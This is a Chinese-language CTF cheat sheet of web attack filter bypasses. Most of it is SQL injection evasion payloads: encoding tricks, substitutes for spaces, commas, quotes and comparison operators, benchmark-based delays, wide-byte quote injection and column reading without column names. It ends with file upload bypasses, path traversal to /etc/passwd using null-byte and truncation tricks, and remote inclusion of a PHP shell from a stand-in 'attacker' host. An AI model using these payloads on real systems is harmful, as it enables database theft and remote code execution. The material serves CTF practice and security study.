WEB-CTF中的绕过
sql注入
编码
- url base64 utf-8… (全部编码或个别编码)
- 字符–>char()
SELECT FROM Users WHERE username = CHAR(101,97,115,116)
- hex
SELECT password FROM Users WHERE username = 0x61646D696E
- %2527 -> %27 -> ‘ (绕过magic_quotes_gpc对于’的加/过滤,特定情况可以用吧)
重复
admin —> adadminmin
admin —> adminadmin
大小写混用
SeLeT 不多解释
过滤空格
- 两个空格代替一个空格,TAB代替空格
- 用注释符号代替空格 /*/ /.1/ /ddd*/ (ddd为无意义的字母)
- 用括号代替空格 ()
- 用+代替空格
- %0a %a0 %20 %09 %0B %0C %0D
- 用花括号代替空格 {}
1 | #() |
- +代替空格 不是url编码空格的+而是直接的+
select+user()
- 单引号双引号代替空格
过滤information_schema.tables等关键表名
select table_name from mysql.innodb_table
不清楚何时起作用,起码我的mysql中没有innodb_table这个表- information_schema . tables
- /!50000information_schema.tables/
- 尝试其他也包含库表信息的表
information_schema.key_column_usage/partitions/statistics/table_constraints
过滤=
- =用like代替
- 需要与零比较:
-1 or 1=1 and ord(substr(user(),1,1))-114
- substring(flag,1,1)in(‘a’) / substring(flag,1,1)in(0x97)
Mysql条件注释的利用 /*! ... */
/*! ... */
:其中的语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行。/*!50000select*/
:50000版本以上的 不执行括号中的语句 ,必定执行,用于过滤正则表达式/*/* ... */
过滤逗号
- limit ,中的, :limit offset
- substr() mid()等函数中的, :
select substr(database() from 1 for 1);
过滤引号
使用十六进制可以绕过引号
如:”users” —> 0x7573657273
过滤<与>
使用GREATEST()绕过比较操作符。select * from users where id=1 and ascii(substr(database(),0,1))>64
——->select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
过滤sleep
benchmark(x, y)
benchmark(10000000,sha(1)) 1000次sha(1),来时间延迟
sleep中不能使用数字
用pi()函数绕过sleep(ceil(pi()))
过滤注释符号(#,–)
- id=1’ union select 1,2,3||’1
- id=1’ union select 1,2,’3
过滤单引号
尝试宽字节 %bf%27 %df%27 %aa%27
过滤order by
当order by 被过滤后就可以使用into 变量来绕过select * from yz limit 1,1 into @a,@b,@c;
过滤列名
有些时候存在过滤了or 导致password列就无法读取了
有两种情况在不使用列名的情况下,读取到该列的数据
- 假设存在两列 username,password。or被过滤了
1
select (select `2` from (select 1,2 union select * from user )a limit 1,1
(反引号)2(反引号) 是select 1,2 这里2所代表的一列,也就是password这一列。
此处会返回password这一列所有内容 以及 2。
使用limit 1,1 读取原表password列的第一行
- 以下方法未测试,在知道user的情况下去读取同一行的另外一列
1
2
3
4select ((select * from user)<(select 'user','6'))
返回0
select ((select * from user)<(select 'user','7'))
返回1
由于字符串比较会逐位比较,可以看出password第一位为6 之后继续比较
3.1
select group_concat(fuck.2) from (select 1,2 union select * from user)fuck
利用等价函数
- hex()、bin() ==> ascii()
- sleep() ==> benchmark()
- concat_ws()==> group_concat()
- mid()、substr() ==> substring()
- @@user ==> user()
- @@datadir ==> datadir()
文件上传
随便提几个基础的:
- 文件名限制 1.php.jpeg 可以在服务端使用php格式打开执行
- 文件类型限制 burpsuite 修改image/jpeg
- 文件大小限制 修改信息文件限制大小参数
- 文件内容头部 修改文件内容头部
高端的,直接上0kami的博客
文件包含及目录遍历
两者应用相似,唯一不同就在于:前者是在url的参数中,后者是直接在url上
%00截断
– 0字节 \x00
(magic_quotes_gpc=off PHP小于5.3.4)../../../../../../etc/passwd%00
长目录截断
利用操作系统对目录最大长度的限制
(php版本小于5.2.8(?) linux>4096 windows>256)././././././././././././././././passwd././././././././././././././
////////////////////////passwd//////////////////////
点号截断
(php版本小于5.2.8(?) 只适用windows 最后点号>256)?file=../../../../../../../../../boot.ini/………[…]…………
远程文件包含中的?
远程文件包含本身参数传递的就是url地址,末尾加个?会把之后的系统后台添加的字符串理解为无用参数/?param=http://attacker/phpshell.txt?
require_once 'http://attacker/phpshell.txt?/action/m_share.php';
以上偷取葛大佬的部分栗子